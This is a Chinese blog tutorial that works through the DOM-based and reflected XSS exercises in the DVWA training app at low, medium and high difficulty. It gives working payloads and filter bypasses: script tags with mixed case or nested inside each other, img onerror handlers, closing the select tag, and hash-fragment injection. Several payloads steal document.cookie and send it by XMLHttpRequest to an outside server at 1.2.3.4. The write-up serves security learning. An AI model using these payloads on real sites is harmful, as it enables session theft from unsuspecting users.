DVWA系列4:XSS 跨站脚本攻击之 DOM型 和 反射型

发布时间 2023-03-22 19:13:39作者: battor

DVWA系列4:XSS 跨站脚本攻击之 DOM型 和 反射型

前言

跨站脚本攻击(即 Corss Site Script,为了不与 CSS 混淆被称为 XSS)是一种较为常见的攻击手段。主要分为三种类型:DOM 型反射型存储型。本文先主要介绍 DOM 型 和 反射型。

这两种都是完全发生在浏览器中,利用了的是:网站使用URL中的参数渲染网页,但未仔细校验的漏洞。攻击的手段一般都是诱骗用户点击构造的链接,进而将用户的敏感信息发送到攻击者的服务器上。但是这种攻击的缺点也很明显,就是可以根据攻击者留下的服务器地址溯源。

闲言少叙,接下来就开始我们的探索吧。

1. DOM 型

(1)目标网站环境

开始我们可以看到一个“人畜无害”的下拉选择框。选择以后,发现地址栏的参数添加了一个 ?default=English,而且下拉框变成了这个样子:

我们选择的 English 按钮被单独放置了出来。由此猜测地址栏的参数就是被单独放置的参数。直接篡改地址栏的参数(如改成 ?default=battor),回车后发现居然也显示在了下拉选择框中。。。此时我们就可以得出一个结论:网页是根据地址栏的参数渲染的,而且存在漏洞(因为我们随便输入了一个什么参数也展示了)。

(2)Low 难度实操

最直接的当然是使用 script 标签啦,将地址栏的参数改为:

?default=<script>alert(document.cookie)</script>

回车:

可以看到居然弹出了我们的 cookie——这个用来标记我们身份的重要数据。

TIPS

我一开始很不理解,为什么看这类文章大家都用 alert,不过是一个弹窗,能有什么危害。后来了解了,alert 就是一个示意而已,真正的攻击都是在背后悄无声息进行的,这个 alert 就会变成发送到黑客的服务器的函数。在这里也给出一个实际的示例(利用的是 JavaScript 中的立即执行函数写法):

(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://服务器地址?参数' + document.cookie); xhr.send() })()

在本例中,将参数改为:

?default=<script>(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()</script>

可以看到网页中并没有什么变化,但是服务器(这里使用的是 .NET 6 开发的的后端)已经收到浏览器发来的敏感数据了:

(3)Medium 难度实操

查看源代码,可以已经发现对 script 标签进行了处理:

再使用 script 标签就不行了。此时可以想到使用 img 标签的 onerror 来发送。这里也考虑过使用 window.open,但这个是直接的弹窗,一般会被浏览器阻止;使用 img 标签的src,但不能拼接 document.cookie 变量,只能是常量值。

payload 如下:

<img src="1" onerror="(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()" />

但是此时并不能达到效果。这实际是网站的 DOM 特点决定的,不能直接添加 img 标签。此时我们可以使用 </select> 标签闭合 select 的下拉选择框,再展示图片。

payload 如下:

</select><img src="1" onerror="(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()" />

此时查看服务器,可以发现收到了浏览器发来的 cookie。

(4)High 难度实操

查看源代码发现,在 服务器端 对参数进行了处理,用了 switch case 排除了给定选项以外的其它选项。

此时我们可以通过 # 号 绕过后端的处理(有点 SQL 注入内味了XD)。# 号其实有锚点的意思,用于浏览器定位页面位置。在 ?default=English 后添加:

#<script>(function(){ const xhr = new XMLHttpRequest(); xhr.open('GET', 'http://1.2.3.4?param=' + document.cookie); xhr.send() })()</script>

刷新页面后,可以在服务器上看到浏览器发来的数据。

2. 反射型

其实有了 DOM 型的经验,反射型理解起来就容易许多。

(1)目标网站环境

依然是一个“人畜无害”的输入框,输入文字后展示在下面,并且地址栏中多了一个参数 ?name=张三

(2)Low 难度实操

直接地址栏上输入 script 标签即可:

?name=<script>alert(123)</script>

(发送请求要写的太长了,这里还是用 alert 来替代吧,害)

(3)Meium 难度实操

查看源代码,可以看到使用了简单的 replace 方式:

那我们构造个异形的 script 不就好了?(生异形吗你们哥几个,哥俩 #滑稽)

直接地址栏上输入 script 标签即可:

?name=<sCript>alert(123)</scRipt>

也可以利用这个 replace 的处理,构造一个存在冗余的 script 标签:

?name=<scr<script>ipt>alert(123)</sc</script>ript>

(3)High 难度实操

通过查看源代码发现,已经对 script 标签进行了严格的过滤:

Medium 难度的 payload 都不再起作用了。这时我们又想到了可以利用 img 标签的 onerror:

?name=<img src="1" onerror="alert(123)">

总结

之前也看过很多文章,感觉一直半懂不懂的。尤其是经常看到上来就是各种 alert 的操作确实有点懵。经过学习别人的文章和自己的实践,终于了解了一些,感觉也不是这么遥不可测。下次继续探索存储型的 XSS 了。

参考

DVWA之XSS (完整版)
Javascript 中发出 HTTP 请求
DVWA-XSS
Web安全实战系列笔记 | XSS跨站实战和分析(五)
xss之DOM型
3-4Dom形XSS详解以及演示
关于DOM型XSS的深入解析(收藏)
DVWA-XSS
渗透测试 | Dvwa XSS超详细通关题解
url中#(hash)的含义
关于一次XSS攻击的onerror事件
DVWA XSS跨站脚本攻击实践